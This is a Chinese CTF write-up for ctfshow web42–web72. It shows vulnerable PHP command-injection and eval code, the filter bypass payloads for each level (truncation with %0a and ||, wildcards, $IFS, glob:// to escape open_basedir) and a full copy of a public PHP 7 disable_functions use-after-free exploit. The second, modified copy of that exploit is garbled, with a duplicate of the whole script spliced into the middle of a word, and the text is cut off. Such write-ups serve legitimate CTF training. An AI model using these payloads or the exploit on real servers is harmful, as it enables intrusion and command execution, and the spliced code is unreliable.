奶奶的,又进行了一次url编码,得在burpsuit里修改c

web42

考点:

输出定向截断
疑点:

%26解码后得&--%26可以用,&不行

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

所以需要把后面截断; %0a(换行符),后面不用多说了吧,还可以用%26(&)以及||

php 复制代码
?c=cat flag.php;

web43

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和42没多大区别。。。。,过滤了catnl%20flag.php%0a

web44

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了flag,没啥好说的通配符呗
c=nl%20fl*%0a

web45

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个空格,总所周知php环境下可以用%09代替空格

php 复制代码
?c=nl%09fl*%0
a或者使用内联执行
?c=echo`nl$IFS*`%0A

web46

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""等等都行
c=nl%09fla\g.php%0a

还可以是,因为||默认是前面成功则不执行后面
c=nl%09fla\g.php||

web47

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
php 复制代码
过滤了一点命令等于没说
?c=nl<fla''g.php||

web48

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

php 复制代码
过滤了一点命令等于没说
?c=nl<fla''g.php||

web49

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

php 复制代码
比上一道题多过滤了%,还阔以用

?c=nl<fla''g.php||

web50

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % 制表符 &

php 复制代码
比上一道题多过滤了制表符  &,还阔以用

?c=nl<fla''g.php||

web51

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] $ * more less head sort tail sed cut tac awk strings od curl ` % 制表符 &

php 复制代码
比上一道题多过滤了tac,还阔以用`nl`

?c=nl<fla''g.php||

web52

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] * more less head sort tail sed cut tac awk strings od curl ` % 制表符 & > <

php 复制代码
比上一道题多过滤了`> <`,少过滤了`$`,空格绕过的变化

?c=nl${IFS}fla''g.php||

web53

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

; cat flag 空格 [0-9] * more wget less head sort tail sed cut tac awk strings od curl ` % 制表符 & > <

php 复制代码
感觉换了一个系列吧,这里随便来两个payload

payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php

web54

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

; .*c.*a.t. .*f.*l.*a.g. 空格 [0-9] * .*m.*o.*r.e. .*w.*g.*e.t. .*l.*e.*s.s. .*h.*e.*a.d. .*s.*o.*r.t. .*t.*a.*i.l. .*s.*e.d. .*c.*u.t. .*t.*a.c. .*a.*w.k. .*s.*t.*r.*i.*n.*g.s. .*o.d. .*c.*u.*r.l. .*n.l. .*s.*c.p. .*r.m. ` % 制表符 & > <
; cat flag 空格 [0-9] * more wget less head sort tail sed cut tac awk strings od curl nl scp rm ` % 制表符 & > <

php 复制代码
uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload

?c=uniq${IFS}f???????

其他payload

     #可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
     #移动后原来文件就空了
     ?c=mv${IFS}fla?.php${IFS}a.txt
     # 使用执行文件目录+?来绕过被过滤的命令
     ?c=/bin/?at${IFS}f???????

web55

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

; [a-z] ` % 制表符 & > <

php 复制代码
payload1:

同样是利用bin目录

    bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
    这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

使用base64对flag.php进行加密同时使用?绕过字母的限制

?c=/???/????64%20????.???  # /bin/base64 flag.php

payload2:

利用/usr/bin目录

    主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
    我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载,下载后记得解压再看

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

payload3:参考无字母数字webshell

web56

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

; [a-z] [0-9] $ ( { ' " ` % 制表符 & > <

payload3:参考无字母数字webshell

web57

考点:

构造数字

php 复制代码
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

; [a-z] [0-9] ` # ' " % 制表符 & 换行符 > < . , ? * - = [

这里利用 $(( ))与整数运算。想办法构造出36

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
    通俗地讲,就是将数学运算表达式放在((和))之间。
 
    表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
 
    可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
 
    可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
 
    注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

$(())是0
 
$((~$(())))是-1
 
$(($((~$(())))$((~$(())))))是-2
 
这里要构造36,也就是要先构造出-37 然后取反
 
-37是37个$((~$(())))相加
 
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

考点:

绕过disable function

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web59

php 复制代码
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web60

php 复制代码
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web61

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web62

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $ ['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web63

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web64

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web65

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("."));

c=show_source("flag.php"); 

web66

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
c=var_dump(scandir("/"));

后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt");  //过66-70
require("/flag.txt");  //过66-70

web67

php 复制代码
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:
c=var_dump(scandir("/"));

c=include("/flag.txt");  

web68

highlight_file禁用的源码都看不了

php 复制代码
payload:
c=var_dump(scandir("/"));

c=include("/flag.txt");  

web69

highlight_file禁用的源码都看不了

var_dump被禁用了

php 复制代码
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=include("/flag.txt");  

web70


highlight_file禁用的源码都看不了

var_dump被禁用了



php 复制代码
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=include("/flag.txt");  

web71

php 复制代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?



可以通过exit提前结束,从而防止缓冲区数据被清除

php 复制代码
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; }exit(0);

c=include('/flag.txt');exit(0);

web72

php 复制代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?


先输入c=var_dump(scandir('/'));exit(0);存在一个open_basedir限制


open_basedir限制就是限制可以访问的目录,glob是5.3.0版本起开始生效的一个用来筛选目录的伪协议,它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制

php 复制代码
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);

遍历获取flag位置,然后include读取时发现没有权限

uaf脚本命令执行poc,要url编码

php 复制代码
原始脚本:

payload:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

禁用了其中的函数

php 复制代码
#用uaf脚本命令执行poc,要url编码
#这个脚本是原始脚本修改过的

<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    clas<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}s Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);       
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
